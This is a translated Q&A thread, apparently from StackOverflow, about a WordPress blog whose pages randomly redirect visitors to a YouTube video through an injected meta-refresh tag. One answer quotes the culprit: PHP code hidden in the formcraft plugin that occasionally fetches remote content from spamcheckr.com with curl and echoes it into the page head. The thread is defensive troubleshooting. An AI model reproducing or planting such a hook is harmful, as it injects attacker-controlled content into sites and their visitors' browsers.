WordPress博客感染了HTML Refresh元标记

Question

你好StackOverflow社区.我今天有一个非常有趣的(在我看来)感染与你分享.

4-5天前,我意识到加载几秒后我的博客主页被重定向到另一个页面.特别是对于youtube,在Justin Bieber视频中.我认为这是我的电脑问题,所以我扫描了病毒和恶意软件.但这不是我的错.

最后,我确信这不是一个本地问题,因为Google的页面速度见解有同样的结果.

因此,经过数小时的研究(以及一些破碎的键盘),我发现了这些线索.详情如下:

在我的标题内创建了一个元标记,类似于:

<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">

首先,我禁用了所有插件,但没有结果.过了一会儿,问题仍然存在.其次,我搜索了所有数据库表,以查明视频的URL是否包含在某处,但事实并非如此.然后我在我的模板编辑器中逐个搜索了php文件,但没有..htaccess也很清楚(不是100%肯定我在那里寻找的东西,但我认为没有什么可疑的).

毕竟,我通过FTP下载了我的整个网站,并在每个文件中搜索了这个URL.我发现它包含在CACHE文件夹的某些HTML文件中.我为此目的使用W3 Total Cache.我删除了整个缓存文件夹,但过了一段时间后问题仍然存在.

这里有趣的事实是这种"病毒"并不总是活跃的.它出现在随机时间,每次都在不同的页面.今晚我意识到它出现在第二台电脑上,同时一切都在我的电脑上看起来很好.

Youtube视频网址为:http://www.youtube.com/watch?v=RFngSCaY5nA

所以我的问题是:在删除整个安装并从头开始之前,有没有人有推荐的解决方案？有没有其他人在过去遇到同样的问题？

我认为这是我必须分享的.我很遗憾这篇长篇文章,试图尽可能详细.我不擅长编码,这是我第一次尝试运行WordPress网站,所以可能有些东西我忘了.

提前致谢.

Answer 1

我有同样的问题,并认为我找到了解决方案!检查您的站点文件以获取此链接:http: //spamcheckr.com/l.php我在formcraft插件中找到了此链接.

像这样:

if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}

编辑: 同时检查:http://spamcheckr.com/req.php